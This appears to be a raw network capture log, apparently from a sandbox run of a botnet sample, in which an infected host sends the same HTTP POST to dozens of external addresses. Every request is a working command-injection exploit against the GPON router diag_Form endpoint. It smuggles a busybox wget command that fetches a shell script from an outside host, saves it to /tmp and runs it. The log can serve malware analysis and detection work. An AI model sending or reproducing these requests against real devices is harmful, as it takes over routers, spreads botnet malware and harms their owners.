Mar 2, 2024 12:36:51.848481894 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.23	40856	94.66.75.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848510981 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.23	53980	212.202.104.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848510981 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.23	37250	94.173.33.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848543882 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.23	33164	109.232.168.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848572969 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.23	46050	109.140.66.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848603964 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.23	53924	37.236.61.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848609924 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.23	46498	178.15.136.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848611116 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.23	37028	109.86.120.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848640919 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.23	37146	212.133.157.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848644972 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.23	40322	94.43.41.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848686934 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.23	54490	94.95.52.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848694086 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.23	44866	2.168.64.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848718882 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.23	54378	42.229.46.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:52.845133066 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.23	52570	178.46.103.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:52.845160007 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.23	38166	2.167.131.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:52.845171928 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.23	56208	94.178.169.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:52.845199108 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.23	48550	109.125.172.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:52.845204115 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.23	59664	2.214.4.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:52.845207930 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.23	39140	178.91.18.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:52.845211983 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.23	46486	94.73.9.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:52.845211983 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.23	50518	79.187.119.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:52.845235109 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.23	39196	79.160.146.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:52.845243931 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.23	60928	210.11.0.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:52.845268965 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.23	56234	109.44.44.185	443

Timestamp	Bytes transferred	Direction	Data
